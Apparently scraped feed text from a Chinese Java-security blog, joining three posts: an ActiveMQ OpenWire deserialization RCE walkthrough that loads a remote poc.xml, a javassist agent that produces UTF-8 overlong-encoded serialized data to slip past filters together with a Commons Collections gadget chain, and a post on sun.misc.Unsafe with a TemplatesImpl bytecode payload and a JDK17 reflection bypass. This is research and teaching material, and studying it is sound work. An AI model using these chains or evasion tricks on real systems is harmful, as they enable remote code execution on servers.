不用那么麻烦我们复制在当前文件中修改他的oneway即可

1
2
3
4
5
6
7
8
9
public void oneway(Object command) throws IOException {  
    this.checkStarted();  
    Throwable classPathXmlApplicationContext = new ClassPathXmlApplicationContext("http://127.0.0.1:9090/poc.xml");  
  
    ExceptionResponse exceptionResponse = new ExceptionResponse(classPathXmlApplicationContext);  
  
    this.wireFormat.marshal(exceptionResponse, this.dataOut);  
    this.dataOut.flush();  
}

由于ClassPathXmlApplicationContext要变成Throwable，我们重写一下他

1
2
3
4
5
6
7
8
9
10
11
12
13
package org.springframework.context.support;  
public class ClassPathXmlApplicationContext extends Throwable{  
    private String detailMessage;  
    public ClassPathXmlApplicationContext() {  
    }  
    public ClassPathXmlApplicationContext(String message) {  
        detailMessage = message;  
    }  
    @Override  
    public String getMessage() {  
        return detailMessage;  
    }  
}

为什么能这样做了，我们详细看一下流程
因为我们发送的是ExceptionResponse，所以Type值为31

获取解析器，也就是ExceptionResponseMarshaller

进入looseUnmarsalThrowable

获取类名和参数

在server端的ClassPathXmlApplicationContext是正常的没有修改过的，调用createThrowable，
通过反射实例化，所以本地client端就可以任意修改，无所谓

也就是实例化rce，FileSystemXmlApplicationContext也行

总结

入口类

1
2
3
protected Object readCommand() throws IOException {  
    return this.wireFormat.unmarshal(this.dataIn);  
}

通过代码交互，会自动调用到unmarshal中
OpenWireFormat#unmarshal->OpenWireFormat#doUnmarshal->ExceptionResponseMarshaller#looseUnmarshal->BaseDataStreamMarshaller#looseUnmarsalThrowable->BaseDataStreamMarshaller#createThrowable

1
2
3
String clazz = this.looseUnmarshalString(dataIn);  
String message = this.looseUnmarshalString(dataIn);  
Throwable o = this.createThrowable(clazz, message);

个人分析链子的寻找应该是从createThrowable发现looseUnmarsalThrowable调用了他
然后发现ExceptionResponseMarshaller调用了looseUnmarsalThrowable

然后发现反序列化的时候，当dataType为31的时候，可以使用ExceptionResponseMarshaller

然后发现序列化的时候，可以修改函数，使得ExceptionResponse发送过去，ExceptionResponse需要Throwable参数，在本地修改两个class为继承Throwable是为了方便操控发送过去的classname，因为实例化rce的两个class都不是Throwable类型，调用ExceptionResponseMarshaller，达到实例化rce，

]]> <p><a href="https://github.com/apache/activemq/releases/tag/activemq-5.18.2">activemq-5.18.2</a><br>漏洞环境<br>查看windows搭建<br><a href="https:// java反序列化UTF-8 Overlong Encoding https://www.n1ght.cn/2024/04/09/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96UTF-8%20Overlong%20Encoding/ 2024-04-09T10:29:32.000Z 2024-04-27T12:51:04.799Z 参考文章：
https://www.leavesongs.com/PENETRATION/utf-8-overlong-encoding.html
https://exp10it.io/2024/02/hessian-utf-8-overlong-encoding/

在java反序列化中，readUTF函数存在对三个字节进行转换成字符串

我们可以将敏感字节，从一个字节转换成三个字节，原理可以参考UTF-8 Overlong Encoding导致的安全问题

在我看java反序列化的过程中，
我们可以通过hook掉ObjectOutputStream$BlockDataOutputStream#writeUTF(String s, long utflen)函数和writeUTFBody函数实现UTF-8 Overlong Encoding。

分析：

正常序列化流程，调用到ObjectOutputStream$BlockDataOutputStream的writeUTF#writeUTF(String s)时候，会向当前类的也就是上面所需要hook的
ObjectOutputStream$BlockDataOutputStream#writeUTF(String s, long utflen)
传入类名和字段长度

当长度和类名长度不等的时候，会走入writeUTFBody中，进行处理

当传入的s的每个字符大于0x007f时候并且小于0x07ff，会进行两个字节的编码
每个字符大于0x007f时候并且大于0x07ff时候，会进行三个字节的编码
每个字符小于0x007f时候，就正常输出

实现

所以我们通过hook函数的实现也就清晰了
通过javassist获取ObjectOutputStream$BlockDataOutputStream#writeUTF(String s, long utflen)
直接修改为utflen长度为字节的长度，然后直接走入writeUTFBody中

1
2
3
4
5
6
7
8
9
CtClass ctClass = classPool.get("java.io.ObjectOutputStream$BlockDataOutputStream");  
classPool.importPackage(IOException.class.getName());  
CtMethod writeUTF = ctClass.getMethod("writeUTF","(Ljava/lang/String;J)V");  
ctClass.removeMethod(writeUTF);  
CtMethod make1 = CtNewMethod.make("void writeUTF(String s, long utflen) throws IOException {\n" +  
        "            writeShort((int) utflen*3);\n" +  
        "            writeUTFBody(s);\n" +  
        "        }", ctClass);  
ctClass.addMethod(make1);

但是这样还不够，我们传入的s是默认是小于0x7f的，所以我们再次修改BlockDataOutputStream#writeUTFBody(String s)
使得if判断失效,上面这个三个字节没有注释，其他注释掉

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
CtMethod method = ctClass.getDeclaredMethod("writeUTFBody");  
ctClass.removeMethod(method);  
CtMethod make = CtNewMethod.make("    private void writeUTFBody(String s) throws IOException {\n" +  
        "        int limit = MAX_BLOCK_SIZE - 3;\n" +  
        "        int len = s.length();\n" +  
        "        for (int off = 0; off < len; ) {\n" +  
        "            int csize = Math.min(len - off, CHAR_BUF_SIZE);\n" +  
        "            s.getChars(off, off + csize, cbuf, 0);\n" +  
        "            for (int cpos = 0; cpos < csize; cpos++) {\n" +  
        "                char c = cbuf[cpos];\n" +  
        "                if (pos <= limit) {\n" +  
        "//                    if (c <= 0x007F && c != 0) {\n" +  
        "//                        buf[pos++] = (byte) c;\n" +  
        "//                    } else if (c > 0x07FF) {\n" +  
        "                buf[pos + 2] = (byte) (0x80 | ((c >> 0) & 0x3F));\n" +  
        "                    buf[pos + 1] = (byte) (0x80 | ((c >> 6) & 0x3F));\n" +  
        "                  buf[pos + 0] = (byte) (0xE0 | ((c >> 12) & 0x0F));\n" +  
        "                    pos += 3;\n" +  
        "//                    } else {\n" +  
        "//                        buf[pos + 1] = (byte) (0x80 | ((c >> 0) & 0x3F));\n" +  
        "//                        buf[pos + 0] = (byte) (0xC0 | ((c >> 6) & 0x1F));\n" +  
        "//                        pos += 2;\n" +  
        "//                    }\n" +  
        "                } else {    // write one byte at a time to normalize block\n" +  
        "                    if (c <= 0x007F && c != 0) {\n" +  
        "                        write(c);\n" +  
        "                    } else if (c > 0x07FF) {\n" +  
        "                        write(0xE0 | ((c >> 12) & 0x0F));\n" +  
        "                        write(0x80 | ((c >> 6) & 0x3F));\n" +  
        "                        write(0x80 | ((c >> 0) & 0x3F));\n" +  
        "                    } else {\n" +  
        "                        write(0xC0 | ((c >> 6) & 0x1F));\n" +  
        "                        write(0x80 | ((c >> 0) & 0x3F));\n" +  
        "                    }\n" +  
        "                }\n" +  
        "            }\n" +  
        "            off += csize;\n" +  
        "        }\n" +  
        "    }\n" +  
        "}", ctClass);  
ctClass.addMethod(make);

我们写入到javaagent去使用

1
2
3
4
5
6
7
8
9
10
package com.n1ght;  
import java.lang.instrument.Instrumentation;  
import java.lang.reflect.AccessibleObject;  
public class Agent {  
    public static void premain(String agentArgs, Instrumentation inst) throws Exception {  
//        JarFileHelper.addJarToBootstrap(inst);  
        inst.addTransformer(new NightTransformer(), true);  
        inst.retransformClasses(new Class[] { AccessibleObject.class });  
    }  
}

在插桩

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
package com.n1ght;  
  
import javassist.*;  
  
import java.io.IOException;  
import java.lang.instrument.ClassFileTransformer;  
import java.lang.instrument.IllegalClassFormatException;  
import java.security.ProtectionDomain;  
import java.util.Arrays;  
  
public class NightTransformer implements ClassFileTransformer {  
    @Override  
    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {  
  
  
        if(className.equals("java/io/ObjectOutputStream$BlockDataOutputStream")){  
            System.out.println("true2");  
  
            ClassPool classPool = ClassPool.getDefault();  
            try {  
                CtClass ctClass = classPool.get("java.io.ObjectOutputStream$BlockDataOutputStream");  
                classPool.importPackage(IOException.class.getName());  
                CtMethod writeUTF = ctClass.getMethod("writeUTF","(Ljava/lang/String;J)V");  
                ctClass.removeMethod(writeUTF);  
                CtMethod make1 = CtNewMethod.make("void writeUTF(String s, long utflen) throws IOException {\n" +  
                        "            writeShort((int) utflen*3);\n" +  
                        "            writeUTFBody(s);\n" +  
                        "        }", ctClass);  
                ctClass.addMethod(make1);  
  
  
                CtMethod method = ctClass.getDeclaredMethod("writeUTFBody");  
                ctClass.removeMethod(method);  
                CtMethod make = CtNewMethod.make("    private void writeUTFBody(String s) throws IOException {\n" +  
                        "        int limit = MAX_BLOCK_SIZE - 3;\n" +  
                        "        int len = s.length();\n" +  
                        "        for (int off = 0; off < len; ) {\n" +  
                        "            int csize = Math.min(len - off, CHAR_BUF_SIZE);\n" +  
                        "            s.getChars(off, off + csize, cbuf, 0);\n" +  
                        "            for (int cpos = 0; cpos < csize; cpos++) {\n" +  
                        "                char c = cbuf[cpos];\n" +  
                        "                if (pos <= limit) {\n" +  
                        "//                    if (c <= 0x007F && c != 0) {\n" +  
                        "//                        buf[pos++] = (byte) c;\n" +  
                        "//                    } else if (c > 0x07FF) {\n" +  
                        "                buf[pos + 2] = (byte) (0x80 | ((c >> 0) & 0x3F));\n" +  
                        "                    buf[pos + 1] = (byte) (0x80 | ((c >> 6) & 0x3F));\n" +  
                        "                  buf[pos + 0] = (byte) (0xE0 | ((c >> 12) & 0x0F));\n" +  
                        "                    pos += 3;\n" +  
                        "//                    } else {\n" +  
                        "//                        buf[pos + 1] = (byte) (0x80 | ((c >> 0) & 0x3F));\n" +  
                        "//                        buf[pos + 0] = (byte) (0xC0 | ((c >> 6) & 0x1F));\n" +  
                        "//                        pos += 2;\n" +  
                        "//                    }\n" +  
                        "                } else {    // write one byte at a time to normalize block\n" +  
                        "                    if (c <= 0x007F && c != 0) {\n" +  
                        "                        write(c);\n" +  
                        "                    } else if (c > 0x07FF) {\n" +  
                        "                        write(0xE0 | ((c >> 12) & 0x0F));\n" +  
                        "                        write(0x80 | ((c >> 6) & 0x3F));\n" +  
                        "                        write(0x80 | ((c >> 0) & 0x3F));\n" +  
                        "                    } else {\n" +  
                        "                        write(0xC0 | ((c >> 6) & 0x1F));\n" +  
                        "                        write(0x80 | ((c >> 0) & 0x3F));\n" +  
                        "                    }\n" +  
                        "                }\n" +  
                        "            }\n" +  
                        "            off += csize;\n" +  
                        "        }\n" +  
                        "    }\n" +  
                        "}", ctClass);  
                ctClass.addMethod(make);  
                ctClass.detach();  
                return ctClass.toBytecode();  
            } catch (Exception e) {  
                System.out.println(e);  
                throw new RuntimeException(e);  
            }  
        }  
        return classfileBuffer;  
    }  
  
  
}

MANIFEST.MF
设置为

1
2
3
4
5
6
7
8
Manifest-Version: 1.0  
Archiver-Version: Plexus Archiver  
Created-By: Apache Maven  
Can-Redefine-Classes: true  
Can-Retransform-Classes: true  
Premain-Class: com.n1ght.Agent  
Project-name: com.n1ght.AgentMain  
Project-version: 1.0-SNAPSHOT

打包成javassist-3.30.2-GA.jar
在idea运行中使用
alt+v添加-javaagent:jar路径

这里使用一个cc链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  
import org.apache.commons.collections.map.LazyMap;  
  
import java.io.FileOutputStream;  
import java.io.ObjectOutputStream;  
import java.lang.reflect.Field;  
import java.util.HashMap;  
import java.util.Hashtable;  
  
public class Test {  
    public static void main(String[] args) throws Exception {  
        Transformer[] transformers = new Transformer[]{  
                new ConstantTransformer(Runtime.class),  
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),  
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),  
                new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"calc"})  
        };  
  
        Transformer chainedTransformer = new ChainedTransformer(new Transformer[]{});  
        HashMap<Object,Object> hashMap1 = new HashMap<>();  
        HashMap<Object,Object> hashMap2 = new HashMap<>();  
        LazyMap lazyMap1 = (LazyMap) LazyMap.decorate(hashMap1,chainedTransformer);  
        LazyMap lazyMap2 = (LazyMap) LazyMap.decorate(hashMap2,chainedTransformer);  
  
        lazyMap1.put("yy",1);  
        lazyMap2.put("zZ",1);  
  
        Hashtable hashtable = new Hashtable();  
        hashtable.put(lazyMap1,1);  
        hashtable.put(lazyMap2,1);  
        Class c = ChainedTransformer.class;  
        Field field = c.getDeclaredField("iTransformers");  
        field.setAccessible(true);  
        field.set(chainedTransformer, transformers);  
        lazyMap2.remove("yy");  
        FileOutputStream fileOutputStream = new FileOutputStream("ser.bin");  
        new ObjectOutputStream(fileOutputStream).writeObject(hashtable);  
    }  
}

点击运行，得到utf-8 overlong encoding的序列化数据

对比没有任何处理的数据

并且能正常反序列化成功

]]> <p>参考文章：<br><a href="https://www.leavesongs.com/PENETRATION/utf-8-overlong-encoding.html">https://www.leavesongs.com/PENETRATION/utf-8-overl Java魔法类：Unsafe应用解析 https://www.n1ght.cn/2024/04/08/Java%E9%AD%94%E6%B3%95%E7%B1%BB%EF%BC%9AUnsafe%E5%BA%94%E7%94%A8%E8%A7%A3%E6%9E%90/ 2024-04-08T10:26:32.000Z 2024-04-27T12:52:14.012Z 引用文章

基本介绍

可以通过getUnsafe获取，但是源码这边会出现问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public final class Unsafe {  
  
    static {  
        Reflection.registerMethodsToFilter(Unsafe.class, Set.of("getUnsafe"));  
    }  
  
    private Unsafe() {}  
  
    private static final Unsafe theUnsafe = new Unsafe();  
    private static final jdk.internal.misc.Unsafe theInternalUnsafe = jdk.internal.misc.Unsafe.getUnsafe();  
  
    /**  
     * Provides the caller with the capability of performing unsafe     * operations.     *     * <p>The returned {@code Unsafe} object should be carefully guarded  
     * by the caller, since it can be used to read and write data at arbitrary     * memory addresses.  It must never be passed to untrusted code.     *     * <p>Most methods in this class are very low-level, and correspond to a  
     * small number of hardware instructions (on typical machines).  Compilers     * are encouraged to optimize these methods accordingly.     *     * <p>Here is a suggested idiom for using unsafe operations:  
     *     * <pre> {@code  
     * class MyTrustedClass {  
     *   private static final Unsafe unsafe = Unsafe.getUnsafe();     *   ...     *   private long myCountAddress = ...;     *   public int getCount() { return unsafe.getByte(myCountAddress); }     * }}</pre>  
     *  
     * (It may assist compilers to make the local variable {@code final}.)  
     *     * @throws  SecurityException if the class loader of the caller  
     *          class is not in the system domain in which all permissions     *          are granted.     */    @CallerSensitive  
    public static Unsafe getUnsafe() {  
        Class<?> caller = Reflection.getCallerClass();  
        if (!VM.isSystemDomainLoader(caller.getClassLoader()))  
            throw new SecurityException("Unsafe");  
        return theUnsafe;  
    }
    ......

我们可以通过反射获取unsafe

1
2
3
4
Class<?> name = Class.forName("sun.misc.Unsafe");
Field theUnsafe = name.getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafe.get(null);

内存操作

这部分主要包含堆外内存的分配、拷贝、释放、给定地址值操作等方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//分配内存, 相当于C++的malloc函数
public native long allocateMemory(long bytes);
//扩充内存
public native long reallocateMemory(long address, long bytes);
//释放内存
public native void freeMemory(long address);
//在给定的内存块中设置值
public native void setMemory(Object o, long offset, long bytes, byte value);
//内存拷贝
public native void copyMemory(Object srcBase, long srcOffset, Object destBase, long destOffset, long bytes);
//获取给定地址值，忽略修饰限定符的访问限制。与此类似操作还有: getInt，getDouble，getLong，getChar等
public native Object getObject(Object o, long offset);
//为给定地址设置值，忽略修饰限定符的访问限制，与此类似操作还有: putInt,putDouble，putLong，putChar等
public native void putObject(Object o, long offset, Object x);
//获取给定地址的byte类型的值（当且仅当该内存地址为allocateMemory分配时，此方法结果为确定的）
public native byte getByte(long address);
//为给定地址设置byte类型的值（当且仅当该内存地址为allocateMemory分配时，此方法结果才是确定的）
public native void putByte(long address, byte x);

Class相关

此部分主要提供Class和它的静态字段的操作相关方法，包含静态字段内存定位、定义类、定义匿名类、检验&确保初始化等。

1
2
3
4
5
6
7
8
9
10
11
12
//获取给定静态字段的内存地址偏移量，这个值对于给定的字段是唯一且固定不变的
public native long staticFieldOffset(Field f);
//获取一个静态类中给定字段的对象指针
public native Object staticFieldBase(Field f);
//判断是否需要初始化一个类，通常在获取一个类的静态属性的时候（因为一个类如果没初始化，它的静态属性也不会初始化）使用。 当且仅当ensureClassInitialized方法不生效时返回false。
public native boolean shouldBeInitialized(Class<?> c);
//检测给定的类是否已经初始化。通常在获取一个类的静态属性的时候（因为一个类如果没初始化，它的静态属性也不会初始化）使用。
public native void ensureClassInitialized(Class<?> c);
//定义一个类，此方法会跳过JVM的所有安全检查，默认情况下，ClassLoader（类加载器）和ProtectionDomain（保护域）实例来源于调用者
public native Class<?> defineClass(String name, byte[] b, int off, int len, ClassLoader loader, ProtectionDomain protectionDomain);
//定义一个匿名类
public native Class<?> defineAnonymousClass(Class<?> hostClass, byte[] data, Object[] cpPatches);

对象操作

此部分主要包含对象成员属性相关操作及非常规的对象实例化方式等相关方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//返回对象成员属性在内存地址相对于此对象的内存地址的偏移量
public native long objectFieldOffset(Field f);
//获得给定对象的指定地址偏移量的值，与此类似操作还有：getInt，getDouble，getLong，getChar等
public native Object getObject(Object o, long offset);
//给定对象的指定地址偏移量设值，与此类似操作还有：putInt，putDouble，putLong，putChar等
public native void putObject(Object o, long offset, Object x);
//从对象的指定偏移量处获取变量的引用，使用volatile的加载语义
public native Object getObjectVolatile(Object o, long offset);
//存储变量的引用到对象的指定的偏移量处，使用volatile的存储语义
public native void putObjectVolatile(Object o, long offset, Object x);
//有序、延迟版本的putObjectVolatile方法，不保证值的改变被其他线程立即看到。只有在field被volatile修饰符修饰时有效
public native void putOrderedObject(Object o, long offset, Object x);
//绕过构造方法、初始化代码来创建对象
public native Object allocateInstance(Class<?> cls) throws InstantiationException;

Demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
import javassist.*;  
import sun.misc.Unsafe;  
  
import java.io.IOException;  
import java.lang.reflect.Field;  
import java.util.Scanner;  
  
public class Test {  
    public static void main(String[] args) throws Exception {  
        Class<?> name = Class.forName("sun.misc.Unsafe");  
        Field theUnsafe = name.getDeclaredField("theUnsafe");  
        theUnsafe.setAccessible(true);  
        Unsafe unsafe = (Unsafe) theUnsafe.get(null);  
        TemplatesImpl templates= (TemplatesImpl) unsafe.allocateInstance(TemplatesImpl.class);  
        Field name1 = templates.getClass().getDeclaredField("_name");  
        unsafe.putObject(templates,unsafe.objectFieldOffset(name1),"n1ght");  
        Field tfactory = templates.getClass().getDeclaredField("_tfactory");  
        unsafe.putObject(templates,unsafe.objectFieldOffset(tfactory),new TransformerFactoryImpl());  
        Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");  
        unsafe.putObject(templates,unsafe.objectFieldOffset(bytecodes),new byte[][]{getPayload()});  
        templates.getOutputProperties();  
    }  
    public static byte[] getPayload() throws NotFoundException, CannotCompileException, IOException {  
        String s="public MyClassLoader(){Runtime.getRuntime().exec(\"calc\");}";  
        ClassPool classPool = ClassPool.getDefault();  
        classPool.importPackage(Scanner.class.getName());  
        CtClass ctClass = classPool.get(AbstractTranslet.class.getName());  
        CtClass calc = classPool.makeClass("MyClassLoader");  
        calc.setSuperclass(ctClass);  
        CtConstructor ctConstructor = CtNewConstructor.make(s, calc);  
        calc.addConstructor(ctConstructor);  
        return calc.toBytecode();  
    }  
}

利用UnSafe绕过jdk17对反射的限制

https://pankas.top/2023/12/05/jdk17-%E5%8F%8D%E5%B0%84%E9%99%90%E5%88%B6%E7%BB%95%E8%BF%87/#%E5%88%A9%E7%94%A8Unsafe%E7%BB%95%E8%BF%87JDK17-%E5%AF%B9%E5%8F%8D%E5%B0%84%E7%9A%84%E9%99%90%E5%88%B6

1
2
3
4
5
6
7
8
Class unsafeClass = Class.forName("sun.misc.Unsafe");
Field field = unsafeClass.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (Unsafe) field.get(null);
Module baseModule = Object.class.getModule();
Class currentClass = Main.class;
long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
unsafe.getAndSetObject(currentClass, addr, baseModule);
]]> <p><a href="https://tech.meituan.com/2019/02/14/talk-about-java-magic-class-unsafe.html">引用文章</a></p> <h1 id="基本介绍"><a href="#基本介绍" class="h